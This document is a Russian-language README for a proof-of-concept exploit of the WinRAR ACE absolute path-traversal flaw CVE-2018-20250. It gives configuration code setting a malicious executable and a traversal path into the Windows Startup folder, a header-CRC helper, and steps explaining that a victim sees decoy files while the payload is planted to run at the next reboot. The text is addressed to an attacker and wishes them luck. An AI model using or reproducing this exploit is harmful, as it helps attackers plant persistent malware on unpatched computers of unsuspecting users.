hack-winrar

WinRar — это очень широко известное программное обеспечение для Windows. Предыдущая версия WinRAR содержала уязвимость, которая была исправлена в феврале 2019 года. Большинство пользователей не обновили WinRAR, поэтому они уязвимы для этой ошибки абсолютного обхода пути [CVE-2018-20250]

Эксплойт для Извлечения выполнения кода из WinRAR

poc от Ridter

Как использовать?

Вам просто нужно установить Python 3.7 и подготовить вредоносный файл, который вы хотите запустить, задать нужные значения. Этот скрипт эксплойта автоматически сгенерирует вредоносный архивный файл!

1. Установите нужные значения

... ...

# Имя архивного файла, который вы хотите создать
rar_filename = "test.rar"
# Вредоносный файл, который вы хотите запустить
evil_filename = "calc.exe"
# Путь распаковки, который вы хотите указать, как показано ниже
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Другие файлы, которые отобразятся, когда жертва откроет WinRAR
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # Эта команда может отличаться в зависимости от вашего окружения Python3.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

2. Запустите эксплойт, он автоматически сгенерирует test.rar

3. Если жертва откроет test.rar, она увидит файлы hello.txt и world.txt. Вы также можете добавить больше файлов, более привлекательных.

4. Когда жертва распакует файл, в папке автозагрузки её пользователя появится ещё один файл с именем hi.exe, который на самом деле является calc.exe. Когда она перезагрузит компьютер, hi.exe выполнится.

Удачи! :)